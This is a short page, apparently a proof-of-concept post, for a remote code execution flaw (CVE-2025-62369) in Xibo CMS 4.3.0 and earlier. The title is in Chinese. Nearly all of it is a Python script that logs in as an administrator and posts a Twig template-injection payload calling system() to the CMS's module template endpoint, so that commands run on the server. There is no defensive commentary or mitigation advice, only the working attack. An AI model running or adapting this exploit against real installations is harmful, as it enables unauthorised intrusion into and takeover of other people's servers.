CVE-2025-62369: Xibo CMS 4.3.0及以下版本远程代码执行漏洞

# CVE-2025-62369 PoC - Xibo CMS RCE via Twig Template Injection # Requirements: Valid admin account with 'Add/Edit custom modules and templates' permission import requests import json TARGET_URL = "http://target-xibo-cms.com" USERNAME = "admin" PASSWORD = "admin_password" def exploit(): # Step 1: Authenticate and get session session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} session.post(f"{TARGET_URL}/login", data=login_data) # Step 2: Create malicious Twig template with RCE payload # This payload executes system commands via Twig's filter mechanism rce_payload = "{{ _context|filter(v=>system('id')) }}" # Step 3: Inject template through module template functionality template_data = { "name": "Malicious Module", "template": rce_payload, "type": "module" } response = session.post( f"{TARGET_URL}/api/module/template", json=template_data ) print(f"Exploit sent, response: {response.status_code}") print("Check server for command execution result") if __name__ == "__main__": exploit()